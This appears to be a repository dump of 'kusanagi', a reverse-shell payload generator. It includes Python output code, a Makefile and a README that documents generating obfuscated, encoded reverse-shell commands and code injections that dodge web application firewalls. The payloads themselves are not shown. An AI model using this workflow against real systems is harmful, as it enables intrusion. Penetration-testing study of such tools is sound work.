p.stderr(f"{payload['revshell']['port']}", "blue") 127 | 128 | # payload 129 | p.stderr(" type: ", end="") 130 | p.stderr(payload["type"], "blue", end="") 131 | p.stderr(" (", end="") 132 | p.stderr(item["revshell"]["proto"], "blue", end="") 133 | p.stderr(")") 134 | 135 | # exe 136 | if "executable" in item[payload["payload"]]: 137 | p.stderr(" executable: ", end="") 138 | p.stderr(item["cmd"]["executable"], "blue") 139 | 140 | # language 141 | if "language" in item[payload["payload"]]: 142 | p.stderr(" language: ", end="") 143 | p.stderr(item["code"]["language"], "blue", end="") 144 | total = len(item["code"]["requires"]["version"]) 145 | if not total: 146 | p.stderr("") 147 | else: 148 | p.stderr(" (", end="") 149 | for i in range(total): 150 | p.stderr(item["code"]["requires"]["version"][i], "blue", end="") 151 | if i < total - 1: 152 | p.stderr(", ", end="") 153 | else: 154 | p.stderr(")") 155 | 156 | # obfuscated 157 | p.stderr(" obfuscated: ", end="") 158 | p.stderr(item[payload["payload"]]["obfuscated"], "blue") 159 | 160 | # shell 161 | if item["revshell"]["shell"] is not None and item["revshell"]["command"] is not None: 162 | p.stderr(" shell: ", end="") 163 | p.stderr(item["revshell"]["shell"], "blue", end="") 164 | p.stderr(" (", end="") 165 | p.stderr(item["revshell"]["command"], end="") 166 | p.stderr(")") 167 | else: 168 | p.stderr(" shell: ", end="") 169 | p.stderr(str(item["revshell"]["shell"]), "blue") 170 | 171 | 172 | def output_target_requirements(p: Printer, item: Dict[str, Any], payload: Dict[str, Any]) -> None: 173 | """Output payload target.""" 174 | p.stderr("") 175 | p.stderr("TARGET REQUIREMENTS", "magenta") 176 | 177 | # OS 178 | p.stderr(" OS: ", end="") 179 | total = len(item[payload["payload"]]["requires"]["os"]) 180 | if not total: 181 | p.stderr("") 182 | for i in range(total): 183 | p.stderr(item[payload["payload"]]["requires"]["os"][i], "blue", end="") 184 | if i < total - 1: 185 | p.stderr(", ", end="") 186 | else: 187 | p.stderr("") 188 | 189 | # commands 190 | p.stderr(" Commands: ", end="") 191 | total = len(item[payload["payload"]]["requires"]["commands"]) 192 | if not total: 193 | p.stderr("") 194 | for i in range(total): 195 | p.stderr(item[payload["payload"]]["requires"]["commands"][i], "blue", end="") 196 | if i < total - 1: 197 | p.stderr(", ", end="") 198 | else: 199 | p.stderr("") 200 | 201 | # functions 202 | if "functions" in item[payload["payload"]]["requires"]: 203 | p.stderr(" Functions: ", end="") 204 | total = len(item["code"]["requires"]["functions"]) 205 | if not total: 206 | p.stderr("") 207 | for i in range(total): 208 | p.stderr(item["code"]["requires"]["functions"][i], "blue", end="") 209 | if i < total - 1: 210 | p.stderr(", ", end="") 211 | else: 212 | p.stderr("") 213 | 214 | # modules 215 | if "modules" in item[payload["payload"]]["requires"]: 216 | p.stderr(" Modules: ", end="") 217 | total = len(item["code"]["requires"]["modules"]) 218 | if not total: 219 | p.stderr("") 220 | for i in range(total): 221 | p.stderr(item["code"]["requires"]["modules"][i], "blue", end="") 222 | if i < total - 1: 223 | p.stderr(", ", end="") 224 | else: 225 | p.stderr("") 226 | 227 | # shell_env 228 | if "shell_env" in item[payload["payload"]]["requires"]: 229 | p.stderr(" Shell envs: ", end="") 230 | total = len(item[payload["payload"]]["requires"]["shell_env"]) 231 | if not total: 232 | p.stderr("") 233 | for i in range(total): 234 | p.stderr(item[payload["payload"]]["requires"]["shell_env"][i], "blue", end="") 235 | if i < total - 1: 236 | p.stderr(", ", end="") 237 | else: 238 | p.stderr("") 239 | 240 | 241 | def output_inject_requirements(p: Printer, item: Dict[str, Any]) -> None: 242 | """Output payload target.""" 243 | p.stderr("") 244 | p.stderr("INJECT REQUIREMENTS", "magenta") 245 | 246 | # bytes 247 | p.stderr(" size: ", end="") 248 | p.stderr(str(len(item["payload"])), "blue", end="") 249 | p.stderr(" bytes") 250 | 251 | # badchars 252 | p.stderr(" badchars: ", end="") 253 | p.stderr(_get_badchars(item["payload"]), "blue") 254 | 255 | 256 | def output_build_requirements(p: Printer, item: Dict[str, Any]) -> None: 257 | """Output how the payload has been assembled.""" 258 | if not item["builder"]: 259 | return 260 | 261 | p.stderr("") 262 | p.stderr("ASSEMBLING", "magenta") 263 | for i, step in enumerate(item["builder"]): 264 | p.stderr(f" {i+1}. ", end="") 265 | p.stderr(step, "blue") 266 | 267 | 268 | def output_help(p: Printer, index: int) -> None: 269 | """Output payload target.""" 270 | p.stderr("") 271 | p.stderr("# Append '", "green", end="") 272 | p.stderr(f"-c {index}", "blue", end="") 273 | p.stderr("' to copy payload to clipboard", "green") 274 | 275 | p.stderr("# Append '", "green", end="") 276 | p.stderr(f"-q {index}", "blue", end="") 277 | p.stderr("' to display payload details", "green") 278 | p.stderr("") 279 | 280 | 281 | def output_encoders(p: Printer, item: Dict[str, Any], encoders: List[str]) -> None: 282 | """Output final payload.""" 283 | data = item["payload"] 284 | 285 | # Apply output encoders 286 | for encoder in encoders: 287 | data = encode(data, encoder) 288 | 289 | # output encoder 290 | total = len(encoders) 291 | if total: 292 | # encoders used 293 | p.stderr("output encoder: ", end="") 294 | for i in range(total): 295 | p.stderr(f"{encoders[i]}", "green", end="") 296 | if i < total - 1: 297 | p.stderr(" -> ", end="") 298 | else: 299 | p.stderr("") 300 | # encoded size 301 | p.stderr("encoded size: ", end="") 302 | p.stderr(str(len(data)), "green", end="") 303 | p.stderr(" bytes") 304 | # encoded badchars 305 | p.stderr("encoded badchars: ", end="") 306 | p.stderr(_get_badchars(data), "green") 307 | p.stderr("") 308 | 309 | 310 | def output_payload(p: Printer, item: Dict[str, Any], encoders: List[str]) -> None: 311 | """Output final payload.""" 312 | data = item["payload"] 313 | 314 | # Apply output encoders 315 | for encoder in encoders: 316 | data = encode(data, encoder) 317 | p.stdout(data, "yellow") 318 | p.stderr("") 319 | 320 | 321 | def _get_badchars(data: str) -> str: 322 | """Returns the badchars contained in a string.""" 323 | regex = r"[^a-zA-Z0-9\s]" 324 | match = re.findall(regex, data) 325 | match = sorted(set(match)) # unique and sort 326 | return "".join(match) 327 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ifneq (,) 2 | .error This Makefile requires GNU Make. 3 | endif 4 | 5 | 6 | # ------------------------------------------------------------------------------------------------- 7 | # Can be changed 8 | # ------------------------------------------------------------------------------------------------- 9 | # This can be adjusted 10 | PYTHON_VERSION = 3.6 11 | 12 | 13 | # ------------------------------------------------------------------------------------------------- 14 | # Default configuration 15 | # ------------------------------------------------------------------------------------------------- 16 | .PHONY: help lint code test autoformat build clean 17 | SHELL := /bin/bash 18 | 19 | NAME = $(shell grep -E '^[[:space:]]*name' setup.py | awk -F'"' '{print $$2}' | sed 's/-/_/g' ) 20 | VENV = venv 21 | SRC = kusanagi 22 | 23 | FL_VERSION = 0.4 24 | FL_IGNORES = .git/,.github/,$(NAME).egg-info,.mypy_cache/,$(ENV) 25 | 26 | 27 | # ------------------------------------------------------------------------------------------------- 28 | # Default Target 29 | # ------------------------------------------------------------------------------------------------- 30 | help: 31 | @echo "lint Lint repository files" 32 | @echo "code Run code linters: black, mypy, pylint, pydocstyle, pycodestyle" 33 | @echo "test Run integration tests" 34 | @echo "autoformat Autoformat code according to Python Black standard" 35 | @echo "build Build Python package" 36 | @echo "clean Clean current Python package build" 37 | 38 | 39 | # ------------------------------------------------------------------------------------------------- 40 | # Lint Targets 41 | # ------------------------------------------------------------------------------------------------- 42 | lint: _lint-files 43 | lint: _lint-version 44 | lint: _lint-bin-name 45 | lint: _lint-pkg-name 46 | lint: _lint-description 47 | 48 | .PHONY: _lint-files 49 | _lint-files: 50 | @echo "# --------------------------------------------------------------------" 51 | @echo "# Lint files" 52 | @echo "# -------------------------------------------------------------------- #" 53 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-cr --text --ignore '$(FL_IGNORES)' --path . 54 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-crlf --text --ignore '$(FL_IGNORES)' --path . 55 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-single-newline --text --ignore '$(FL_IGNORES)' --path . 56 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-space --text --ignore '$(FL_IGNORES)' --path . 57 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8 --text --ignore '$(FL_IGNORES)' --path . 58 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8-bom --text --ignore '$(FL_IGNORES)' --path . 59 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) git-conflicts --text --ignore '$(FL_IGNORES)' --path . 60 | 61 | .PHONY: _lint-version 62 | _lint-version: 63 | @echo "# -------------------------------------------------------------------- #" 64 | @echo "# Check version" 65 | @echo "# -------------------------------------------------------------------- #" 66 | @VERSION_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_VERSION | awk -F'"' '{print $$2}' ); \ 67 | VERSION_SETUP=$$( grep version= setup.py | awk -F'"' '{print $$2}' || true ); \ 68 | if [ "$${VERSION_CODE}" != "$${VERSION_SETUP}" ]; then \ 69 | echo "[ERROR] Version mismatch"; \ 70 | echo "$(SRC)/defaults.py $${VERSION_CODE}"; \ 71 | echo "setup.py: $${VERSION_SETUP}"; \ 72 | exit 1; \ 73 | else \ 74 | echo "[OK] Version match"; \ 75 | echo "$(SRC)/defaults.py $${VERSION_CODE}"; \ 76 | echo "setup.py: $${VERSION_SETUP}"; \ 77 | exit 0; \ 78 | fi \ 79 | 80 | .PHONY: _lint-bin-name 81 | _lint-bin-name: 82 | @echo "# -------------------------------------------------------------------- #" 83 | @echo "# Check binary name" 84 | @echo "# -------------------------------------------------------------------- #" 85 | @NAME_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_BIN | awk -F'"' '{print $$2}' ); \ 86 | NAME_SETUP=$$( grep ':main' setup.py | awk -F'"' '{print $$2}' | awk -F'=' '{print $$1}' ); \ 87 | if [ "$${NAME_CODE}" != "$${NAME_SETUP}" ]; then \ 88 | echo "[ERROR] Name mismatch"; \ 89 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \ 90 | echo "setup.py: $${NAME_SETUP}"; \ 91 | exit 1; \ 92 | else \ 93 | echo "[OK] Name match"; \ 94 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \ 95 | echo "setup.py: $${NAME_SETUP}"; \ 96 | exit 0; \ 97 | fi \ 98 | 99 | .PHONY: _lint-pkg-name 100 | _lint-pkg-name: 101 | @echo "# -------------------------------------------------------------------- #" 102 | @echo "# Check package name" 103 | @echo "# -------------------------------------------------------------------- #" 104 | @NAME_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_NAME | awk -F'"' '{print $$2}' ); \ 105 | NAME_SETUP=$$( grep 'name=' setup.py | awk -F'"' '{print $$2}' | awk -F'=' '{print $$1}' ); \ 106 | if [ "$${NAME_CODE}" != "$${NAME_SETUP}" ]; then \ 107 | echo "[ERROR] Name mismatch"; \ 108 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \ 109 | echo "setup.py: $${NAME_SETUP}"; \ 110 | exit 1; \ 111 | else \ 112 | echo "[OK] Name match"; \ 113 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \ 114 | echo "setup.py: $${NAME_SETUP}"; \ 115 | exit 0; \ 116 | fi \ 117 | 118 | 119 | .PHONY: _lint-description 120 | _lint-description: 121 | @echo "# -------------------------------------------------------------------- #" 122 | @echo "# Check description" 123 | @echo "# -------------------------------------------------------------------- #" 124 | @DESC_CODE=$$( \ 125 | grep -A2 -E '^DEF_DESC\s*=\s*("|\()' $(SRC)/defaults.py \ 126 | | grep -E '".+"' \ 127 | | awk -F'"' '{print $$2}' \ 128 | ); \ 129 | DESC_SETUP=$$( grep description= setup.py | awk -F'"' '{print $$2}' || true ); \ 130 | if [ "$${DESC_CODE}" != "$${DESC_SETUP}" ]; then \ 131 | echo "[ERROR] Desc mismatch"; \ 132 | echo "$(SRC)/defaults.py $${DESC_CODE}"; \ 133 | echo "setup.py: $${DESC_SETUP}"; \ 134 | exit 1; \ 135 | else \ 136 | echo "[OK] Desc match"; \ 137 | echo "$(SRC)/defaults.py $${DESC_CODE}"; \ 138 | echo "setup.py: $${DESC_SETUP}"; \ 139 | exit 0; \ 140 | fi \ 141 | 142 | 143 | # ------------------------------------------------------------------------------------------------- 144 | # Code Style Targets 145 | # ------------------------------------------------------------------------------------------------- 146 | code: _code-pycodestyle 147 | code: _code-pydocstyle 148 | code: _code-pylint 149 | code: _code-black 150 | code: _code-mypy 151 | 152 | .PHONY: _code-pycodestyle 153 | _code-pycodestyle: 154 | @echo "# -------------------------------------------------------------------- #" 155 | @echo "# Check pycodestyle" 156 | @echo "# -------------------------------------------------------------------- #" 157 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/pycodestyle --config=setup.cfg $(SRC)/ 158 | 159 | .PHONY: _code-pydocstyle 160 | _code-pydocstyle: 161 | @echo "# -------------------------------------------------------------------- #" 162 | @echo "# Check pydocstyle" 163 | @echo "# -------------------------------------------------------------------- #" 164 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/pydocstyle --explain --config=setup.cfg $(SRC)/ 165 | 166 | .PHONY: _code-pylint 167 | _code-pylint: 168 | @echo "# -------------------------------------------------------------------- #" 169 | @echo "# Check pylint" 170 | @echo "# -------------------------------------------------------------------- #" 171 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data --entrypoint=sh cytopia/pylint -c '\ 172 | pip3 install -r requirements.txt \ 173 | && pylint --rcfile=setup.cfg $(SRC)/' 174 | 175 | .PHONY: _code-black 176 | _code-black: 177 | @echo "# -------------------------------------------------------------------- #" 178 | @echo "# Check Python Black" 179 | @echo "# -------------------------------------------------------------------- #" 180 | docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data cytopia/black -l 100 --check --diff $(SRC)/ 181 | 182 | .PHONY: _code-mypy 183 | _code-mypy: 184 | @echo "# -------------------------------------------------------------------- #" 185 | @echo "# Check mypy" 186 | @echo "# -------------------------------------------------------------------- #" 187 | docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data cytopia/mypy --config-file setup.cfg $(SRC)/ 188 | 189 | 190 | # ------------------------------------------------------------------------------------------------- 191 | # Test Targets 192 | # ------------------------------------------------------------------------------------------------- 193 | .PHONY: test 194 | test: 195 | @echo "Check Python package" 196 | docker run \ 197 | --rm \ 198 | $$(tty -s && echo "-it" || echo) \ 199 | -v $(PWD):/data \ 200 | -w /data \ 201 | python:$(PYTHON_VERSION)-alpine sh -c "\ 202 | pip install -r requirements.txt \ 203 | && ./bin/kusa --help \ 204 | && ./bin/kusa cmd --help \ 205 | && ./bin/kusa cmd localhost \ 206 | && ./bin/kusa cmd localhost 4445 \ 207 | && ./bin/kusa cmd localhost -e nc \ 208 | && ./bin/kusa cmd localhost -s sh \ 209 | && ./bin/kusa cmd localhost -b '/' \ 210 | && ./bin/kusa cmd localhost -o bsd \ 211 | && ./bin/kusa cmd localhost -o linux \ 212 | && ./bin/kusa cmd localhost -o mac \ 213 | && ./bin/kusa cmd localhost -o windows \ 214 | && ./bin/kusa cmd localhost -m 100 \ 215 | && ./bin/kusa cmd localhost --enc url \ 216 | && ./bin/kusa cmd localhost --enc url hex \ 217 | " 218 | 219 | 220 | # ------------------------------------------------------------------------------------------------- 221 | # Build Targets 222 | # ------------------------------------------------------------------------------------------------- 223 | build: clean 224 | build: _lint-version 225 | build: _build-source_dist 226 | build: _build-binary_dist 227 | build: _build-python_package 228 | build: _build-check_python_package 229 | 230 | .PHONY: _build_source_dist 231 | _build-source_dist: 232 | @echo "Create source distribution" 233 | docker run \ 234 | --rm \ 235 | $$(tty -s && echo "-it" || echo) \ 236 | -v $(PWD):/data \ 237 | -w /data \ 238 | -u $$(id -u):$$(id -g) \ 239 | python:$(PYTHON_VERSION)-alpine \ 240 | python setup.py sdist 241 | 242 | .PHONY: _build_binary_dist 243 | _build-binary_dist: 244 | @echo "Create binary distribution" 245 | docker run \ 246 | --rm \ 247 | $$(tty -s && echo "-it" || echo) \ 248 | -v $(PWD):/data \ 249 | -w /data \ 250 | -u $$(id -u):$$(id -g) \ 251 | python:$(PYTHON_VERSION)-alpine \ 252 | python setup.py bdist_wheel --universal 253 | 254 | .PHONY: _build_python_package 255 | _build-python_package: 256 | @echo "Build Python package" 257 | docker run \ 258 | --rm \ 259 | $$(tty -s && echo "-it" || echo) \ 260 | -v $(PWD):/data \ 261 | -w /data \ 262 | -u $$(id -u):$$(id -g) \ 263 | python:$(PYTHON_VERSION)-alpine \ 264 | python setup.py build 265 | 266 | .PHONY: _build_check_python_package 267 | _build-check_python_package: 268 | @echo "Check Python package" 269 | docker run \ 270 | --rm \ 271 | $$(tty -s && echo "-it" || echo) \ 272 | -v $(PWD):/data \ 273 | -w /data \ 274 | python:$(PYTHON_VERSION)-slim \ 275 | sh -c "pip install twine \ 276 | && twine check dist/*" 277 | 278 | clean: 279 | rm -rf build/ 280 | rm -rf dist/ 281 | rm -rf $(NAME).egg-info 282 | find . -type f -name '*.pyc' -exec rm {} \; 283 | find . -type d -name '__pycache__' -prune -exec rmdir {} \; 284 | 285 | .PHONY: venv 286 | venv: 287 | python3 -m venv $(VENV) 288 | @echo source $(VENV)/bin/activate 289 | @echo python3 setup.py install 290 | 291 | 292 | # ------------------------------------------------------------------------------------------------- 293 | # Publish Targets 294 | # ------------------------------------------------------------------------------------------------- 295 | deploy: _build-check_python_package 296 | docker run \ 297 | --rm \ 298 | $$(tty -s && echo "-it" || echo) \ 299 | -v $(PWD):/data \ 300 | -w /data \ 301 | python:$(PYTHON_VERSION)-slim \ 302 | sh -c "pip install twine \ 303 | && twine upload dist/*" 304 | 305 | 306 | # ------------------------------------------------------------------------------------------------- 307 | # Misc Targets 308 | # ------------------------------------------------------------------------------------------------- 309 | autoformat: 310 | docker run \ 311 | --rm \ 312 | $$(tty -s && echo "-it" || echo) \ 313 | -v $(PWD):/data \ 314 | -w /data \ 315 | cytopia/black -l 100 $(SRC)/ 316 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kusanagi - 草薙 2 | 3 | **TL;DR:** `kusanagi` is a major, bind- and reverse shell payload generator. 4 | 5 | 6 | [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) 7 | [![PyPI](https://img.shields.io/pypi/v/kusanagi)](https://pypi.org/project/kusanagi/) 8 | [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/kusanagi)](https://pypi.org/project/kusanagi/) 9 | [![PyPI - Format](https://img.shields.io/pypi/format/kusanagi)](https://pypi.org/project/kusanagi/) 10 | [![PyPI - Implementation](https://img.shields.io/pypi/implementation/kusanagi)](https://pypi.org/project/kusanagi/) 11 | [![PyPI - License](https://img.shields.io/pypi/l/kusanagi)](https://pypi.org/project/kusanagi/) 12 | 13 | At its core, it is just a collection of Yaml files that define various *shell commands*, 14 | *code snippets*, *file specifications* and *obfuscators*. It combines and permutates all of them to generate 15 | payloads according to someone's need. 16 | 17 | **Payloads** are highly searchable and filterable in order 18 | to generate a *code-*, *file-* or *command* injection with correct binaries for the target architecture 19 | and removed bad chars that might get filtered/denied by certain mechanisms which are in between you and the target (e.g.: web application firewall). 20 | Additional **output encoding** can be applied on your generated payloads (See [list of encoders](https://github.com/cytopia/kusanagi/blob/master/kusanagi/core/encoder/__init__.py#L13)). 21 | 22 | **Disclaimer:** It does have a *copy-to-clipboard* function to eliminate heavy mouse gestures. 23 | 24 | 25 | 26 | 27 | ## :tada: Install 28 | ```bash 29 | pip install kusanagi 30 | ``` 31 | 32 | > :exclamation: Requires Python >= 3.6 33 | 34 | 35 | 36 | ## :hourglass: Current state 37 | 38 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/linting/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=linting) 39 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/building/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=building) 40 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/testing/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=testing) 41 | 42 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/black/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=black) 43 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/mypy/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=mypy) 44 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/pylint/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=pylint) 45 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/pycode/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=pycode) 46 | [![Build Status](https://github.com/cytopia/kusanagi/workflows/pydoc/badge.svg)](https://github.com/cytopia/kusanagi/actions?workflow=pydoc) 47 | 48 | 49 | `kusanagi` is currently at most an alpha version and in a very early state of development. 50 | 51 | Feel free to use it, but expect drastic changes in ui and available command line arguments. 52 | 53 | If you want to support this project, drop me all your payloads and obfuscators you know about. 54 | 55 | 56 | 57 | ## :star: Features 58 | 59 | You can find current features here: 60 | 61 | * [ ] Automated Quote escaping 62 | * [ ] Quote swapping 63 | * [X] Obfuscation 64 | * [ ] Permutation 65 | * [X] Badchar elimination 66 | * [X] Output encoder 67 | * [X] Copy to clipboard 68 | * [X] Command injection 69 | * [X] Code injection 70 | * [ ] File injection 71 | * [ ] Payload: Persistence wrapper 72 | * [X] Payload: reverse shell 73 | * [ ] Payload: bind shell 74 | * [ ] Payload: port forwarding 75 | * [ ] BYOY: Bring your own yaml - and have custom payloads 76 | 77 | 78 | 79 | ## Usage 80 | 81 | ### General 82 | 83 | Kusanagi is separated into different usage section. To start off, you will have to choose between a shell command for command injection (`cmd`), a code snippet from a programming language for code injection (`code`) and a generated file for various exploits injected into it (`file`). 84 | 85 | 86 | ```bash 87 | usage: kusa [options] addr [host] 88 | kusa -h 89 | kusa -v, --version 90 | kusa -h, --help 91 | 92 | Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support. 93 | 94 | positional arguments: 95 | 96 | cmd Generate a command to be executed on a shell. 97 | code Generate source code (e.g.: php). 98 | file Inject source code in a file (e.g.: php in jpeg). 99 | 100 | misc arguments: 101 | -v, --version Show version information and exit 102 | -h, --help Show this help message and exit 103 | ``` 104 | 105 | ### Injectable commands (`cmd`) 106 | 107 | Options for command injection/execution module. 108 | 109 |
110 | Click here to expand full usage 111 | 112 | ```bash 113 | usage: kusa cmd [options] addr [port] 114 | kusa cmd -h, --help 115 | 116 | positional arguments: 117 | addr Address to listen or connect to. 118 | 119 | port (Optional) Port to listen or connect to 120 | Default: 4444 121 | 122 | 123 | query arguments: 124 | -e EXE [EXE ...], --exe EXE [EXE ...] 125 | Command that will execute the payload 126 | (e.g.: perl, python, php, nc, sh, bash, cmd, PowerShell, etc) 127 | Default: do not filter by underlying command. 128 | 129 | -s SHELL [SHELL ...], --shell SHELL [SHELL ...] 130 | Shell on which the command (specified via -e) 131 | will be executed. Some payloads use crazy output 132 | redirections or pipes that will only work on certain 133 | underlying shells. 134 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell) 135 | Default: do not filter by underlying shell. 136 | 137 | -b BADCHARS, --badchars BADCHARS 138 | Exclude any payloads that contain the specified bad chars. 139 | This comes in handy if you encounter a Web Application Firewall 140 | that prohibits certain characters. 141 | Default: Ignore badchars 142 | 143 | -o {bsd,linux,mac,solaris,windows}, --os {bsd,linux,mac,solaris,windows} 144 | Only fetch payloads which work on a specific operating system. 145 | Default: fetch for all OS. 146 | 147 | -m bytes, --maxlen bytes 148 | Exclude any payloads exceeding the specified max length. 149 | 150 | 151 | mutate arguments: 152 | --obf Run the fun. This switch will apply obfuscator to all 153 | payloads to get a different set of badchars. 154 | 155 | --enc name [name ...] 156 | Encode the output with one or more encoders. 157 | When encoding multiple times, pay attention to the 158 | order of specifying encoders. 159 | Note that any filtering (-b, -o, etc) is not done on the 160 | encoded payload. Filtering is done before. 161 | To view available encoders, use --list-encoders. 162 | 163 | helper arguments: 164 | -q, --quick Show quick payload results (less detail). 165 | 166 | -c [index], --copy [index] 167 | Copy last shown payload to clipboard or specify index 168 | of payload to copy to clipboard. 169 | (indices are shown in square brackets next to payload) 170 | 171 | 172 | misc arguments: 173 | -h, --help Show this help message and exit 174 | ``` 175 | 176 |
177 | 178 | 179 | #### Examples 180 | ```bash 181 | # List reverse shells connecting to 10.0.0.1 (port 4444 by default) 182 | kusa cmd 10.0.0.1 183 | ``` 184 | ```bash 185 | # List reverse shells connecting to 10.0.0.1:1337 186 | kusa cmd 10.0.0.1 1337 187 | ``` 188 | 189 | ```bash 190 | # Copy last reverse shell payload to clipboard 191 | kusa cmd 10.0.0.1 -c 192 | ``` 193 | ```bash 194 | # Copy reverse shell with index 2 to clipboard 195 | kusa cmd 10.0.0.1 -c 2 196 | ``` 197 | ```bash 198 | # URL encode reverse shell 199 | kusa cmd 10.0.0.1 --enc url 200 | ``` 201 | ```bash 202 | # Base64 encode and then url encode reverse shell 203 | kusa cmd 10.0.0.1 --enc base64 url 204 | ``` 205 | ```bash 206 | # Obfuscate payloads 207 | kusa cmd 10.0.0.1 --obf 208 | ``` 209 | ```bash 210 | # Obfuscated and filter away '/' and '$' characters in payload 211 | kusa cmd 10.0.0.1 --obf -b '/$' 212 | ``` 213 | 214 | 215 | 216 | ### Injectable code (`code`) 217 | 218 | Options for code injection/execution module. 219 | 220 |
221 | Click here to expand full usage 222 | 223 | ```bash 224 | usage: kusa code [options] addr [port] 225 | kusa code -h, --help 226 | 227 | positional arguments: 228 | addr Address to listen or connect to. 229 | 230 | port (Optional) Port to listen or connect to 231 | Default: 4444 232 | 233 | 234 | query arguments: 235 | -l LANG [LANG ...], --lang LANG [LANG ...] 236 | The payload language to query. 237 | (e.g.: perl, python, php, etc) 238 | Default: do not filter language. 239 | 240 | -s SHELL [SHELL ...], --shell SHELL [SHELL ...] 241 | Shell on which the command (specified via -e) 242 | will be executed. Some payloads use crazy output 243 | redirections or pipes that will only work on certain 244 | underlying shells. 245 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell) 246 | Default: do not filter by underlying shell. 247 | 248 | -b BADCHARS, --badchars BADCHARS 249 | Exclude any payloads that contain the specified bad chars. 250 | This comes in handy if you encounter a Web Application Firewall 251 | that prohibits certain characters. 252 | Default: Ignore badchars 253 | 254 | -o {bsd,linux,mac,solaris,windows}, --os {bsd,linux,mac,solaris,windows} 255 | Only fetch payloads which work on a specific operating system. 256 | Default: fetch for all OS. 257 | 258 | -m bytes, --maxlen bytes 259 | Exclude any payloads exceeding the specified max length. 260 | 261 | 262 | mutate arguments: 263 | --obf Run the fun. This switch will apply obfuscator to all 264 | payloads to get a different set of badchars. 265 | 266 | --enc name [name ...] 267 | Encode the output with one or more encoders. 268 | When encoding multiple times, pay attention to the 269 | order of specifying encoders. 270 | Note that any filtering (-b, -o, etc) is not done on the 271 | encoded payload. Filtering is done before. 272 | To view available encoders, use --list-encoders. 273 | 274 | helper arguments: 275 | -q, --quick Show quick payload results (less detail). 276 | 277 | -c [index], --copy [index] 278 | Copy last shown payload to clipboard or specify index 279 | of payload to copy to clipboard. 280 | (indices are shown in square brackets next to payload) 281 | 282 | 283 | misc arguments: 284 | -h, --help Show this help message and exit 285 | 286 | ``` 287 | 288 |
289 | 290 | 291 | #### Examples 292 | ```bash 293 | # List reverse shells connecting to 10.0.0.1 (port 4444 by default) 294 | kusa code 10.0.0.1 295 | ``` 296 | ```bash 297 | # List reverse shells connecting to 10.0.0.1:1337 298 | kusa code 10.0.0.1 1337 299 | ``` 300 | 301 | ```bash 302 | # Copy last reverse shell payload to clipboard 303 | kusa code 10.0.0.1 -c 304 | ``` 305 | ```bash 306 | # Copy reverse shell with index 2 to clipboard 307 | kusa code 10.0.0.1 -c 2 308 | ``` 309 | ```bash 310 | # Select only PHP code (-l/--language) 311 | kusa code 10.0.0.1 -l php 312 | ``` 313 | ```bash 314 | # URL encode reverse shell 315 | kusa code 10.0.0.1 --enc url 316 | ``` 317 | ```bash 318 | # Base64 encode and then url encode reverse shell 319 | kusa code 10.0.0.1 --enc base64 url 320 | ``` 321 | ```bash 322 | # Obfuscate payloads 323 | kusa code 10.0.0.1 --obf 324 | ``` 325 | ```bash 326 | # Obfuscated and filter away '/' and '$' characters in payload 327 | kusa code 10.0.0.1 --obf -b '/$' 328 | ``` 329 | 330 | 331 | 332 | 333 | ## :lock: [cytopia](https://github.com/cytopia) sec tools 334 | 335 | Below is a list of sec tools and docs I am maintaining. 336 | 337 | | Name | Category | Language | Description | 338 | |----------------------|----------------------|------------|-------------| 339 | | **[offsec]** | Documentation | Markdown | Offsec checklist, tools and examples | 340 | | **[header-fuzz]** | Enumeration | Bash | Fuzz HTTP headers | 341 | | **[smtp-user-enum]** | Enumeration | Python 2+3 | SMTP users enumerator | 342 | | **[urlbuster]** | Enumeration | Python 2+3 | Mutable web directory fuzzer | 343 | | **[pwncat]** | Pivoting | Python 2+3 | Cross-platform netcat on steroids | 344 | | **[kusanagi]** | Payload Generator | Python 3 | Bind- and Reverse shell payload generator | 345 | | **[badchars]** | Reverse Engineering | Python 2+3 | Badchar generator | 346 | | **[fuzza]** | Reverse Engineering | Python 2+3 | TCP fuzzing tool | 347 | | **[docker-dvwa]** | Playground | PHP | DVWA with local priv 